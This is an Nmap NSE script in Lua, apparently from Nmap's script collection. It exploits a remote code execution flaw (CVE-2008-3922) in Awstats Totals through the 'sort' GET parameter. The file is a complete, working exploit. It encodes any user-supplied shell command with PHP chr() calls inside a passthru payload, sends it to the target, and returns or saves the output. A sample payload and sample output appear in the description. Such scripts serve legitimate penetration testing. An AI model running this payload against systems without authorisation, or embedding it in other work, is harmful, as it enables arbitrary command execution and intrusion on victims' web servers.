137 lines
4.3 KiB
Lua
137 lines
4.3 KiB
Lua
local http = require "http"
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local io = require "io"
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local nmap = require "nmap"
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local shortport = require "shortport"
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local stdnse = require "stdnse"
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local string = require "string"
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local table = require "table"
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description = [[
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Exploits a remote code execution vulnerability in Awstats Totals 1.0 up to 1.14
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and possibly other products based on it (CVE: 2008-3922).
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This vulnerability can be exploited through the GET variable <code>sort</code>.
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The script queries the web server with the command payload encoded using PHP's
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chr() function:
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<code>?sort={%24{passthru%28chr(117).chr(110).chr(97).chr(109).chr(101).chr(32).chr(45).chr(97)%29}}{%24{exit%28%29}}</code>
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Common paths for Awstats Total:
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* <code>/awstats/index.php</code>
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* <code>/awstatstotals/index.php</code>
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* <code>/awstats/awstatstotals.php</code>
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References:
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* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3922
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* http://www.exploit-db.com/exploits/17324/
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]]
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---
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-- @usage
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-- nmap -sV --script http-awstatstotals-exec.nse --script-args 'http-awstatstotals-exec.cmd="uname -a", http-awstatstotals-exec.uri=/awstats/index.php' <target>
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-- nmap -sV --script http-awstatstotals-exec.nse <target>
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--
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-- @output
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-- PORT STATE SERVICE REASON
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-- 80/tcp open http syn-ack
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-- | http-awstatstotals-exec.nse:
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-- |_Output for 'uname -a':Linux 2.4.19 #1 Son Apr 14 09:53:28 CEST 2002 i686 GNU/Linux
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--
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-- @args http-awstatstotals-exec.uri Awstats Totals URI including path. Default: /index.php
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-- @args http-awstatstotals-exec.cmd Command to execute. Default: whoami
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-- @args http-awstatstotals-exec.outfile Output file. If set it saves the output in this file.
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---
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-- Other useful args when running this script:
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-- http.useragent - User Agent to use in GET request
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--
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author = "Paulino Calderon <calderon@websec.mx>"
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license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
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categories = {"vuln", "intrusive", "exploit"}
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portrule = shortport.http
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--default values
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local DEFAULT_CMD = "whoami"
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local DEFAULT_URI = "/index.php"
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---
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--Writes string to file
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-- @param filename Filename to write
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-- @param content Content string
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-- @return boolean status
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-- @return string error
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--Taken from: hostmap.nse
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local function write_file(filename, contents)
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local f, err = io.open(filename, "w")
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if not f then
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return f, err
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end
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f:write(contents)
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f:close()
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return true
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end
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---
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--Checks if Awstats Totals installation seems to be there
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-- @param host Host table
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-- @param port Port table
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-- @param path Path pointing to AWStats Totals
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-- @return true if awstats totals is found
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local function check_installation(host, port, path)
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local check_req = http.get(host, port, path)
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if not(http.response_contains(check_req, "AWStats")) then
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return false
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end
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return true
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end
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---
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--MAIN
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---
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action = function(host, port)
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local output = {}
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local uri = stdnse.get_script_args("http-awstatstotals-exec.uri") or DEFAULT_URI
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local cmd = stdnse.get_script_args("http-awstatstotals-exec.cmd") or DEFAULT_CMD
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local out = stdnse.get_script_args("http-awstatstotals-exec.outfile")
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--check for awstats signature
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local awstats_check = check_installation(host, port, uri)
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if not(awstats_check) then
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stdnse.debug1("This does not look like Awstats Totals. Quitting.")
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return
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end
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--Encode payload using PHP's chr()
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local encoded_payload = {}
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cmd:gsub(".", function(c) encoded_payload[#encoded_payload+1] = ("chr(%s)"):format(string.byte(c)) end)
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local stealth_payload = "?sort={%24{passthru%28"..table.concat(encoded_payload,'.').."%29}}{%24{exit%28%29}}"
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--set payload and send request
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local req = http.get(host, port, uri .. stealth_payload)
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if req.status and req.status == 200 then
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output[#output+1] = string.format("\nOutput for '%s':%s", cmd, req.body)
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--if out set, save output to file
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if out then
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local status, err = write_file(out, req.body)
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if status then
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output[#output+1] = string.format("Output saved to %s\n", out)
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else
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output[#output+1] = string.format("Error saving output to %s: %s\n", out, err)
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end
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end
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else
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if nmap.verbosity()>= 2 then
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output[#output+1] = "[Error] Request did not return 200. Make sure your URI value is correct. A WAF might be blocking your request"
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end
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end
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--output
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if #output>0 then
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return table.concat(output, "\n")
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end
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end
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